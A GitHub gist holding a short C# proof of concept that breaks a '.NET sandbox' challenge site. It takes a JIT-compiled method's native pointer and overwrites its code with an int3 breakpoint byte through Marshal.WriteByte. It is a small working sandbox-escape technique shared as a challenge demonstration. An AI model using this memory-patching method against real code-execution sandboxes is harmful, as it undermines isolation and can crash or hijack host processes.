Created
June 6, 2017 09:30
-
-
Save xoofx/f5929b24e28118d8bb63215fe4659b21 to your computer and use it in GitHub Desktop.
Proof of concept of (un)safe code breaking https://unbreakable-test.azurewebsites.net/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// proof of concept for breaking https://unbreakable-test.azurewebsites.net/ | |
using System; | |
using System.Runtime.CompilerServices; | |
using System.Runtime.InteropServices; | |
static class Program { | |
[MethodImpl(MethodImplOptions.NoInlining)] | |
public static void MethodToPatch() | |
{ | |
} | |
static int Run() { | |
var method = typeof(Program).GetMethod("MethodToPatch"); | |
var methodHandle = method.MethodHandle; | |
RuntimeHelpers.PrepareMethod(methodHandle); | |
var functionPtr = methodHandle.GetFunctionPointer(); | |
Marshal.WriteByte(functionPtr, 0xCC); | |
MethodToPatch(); | |
return 0; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment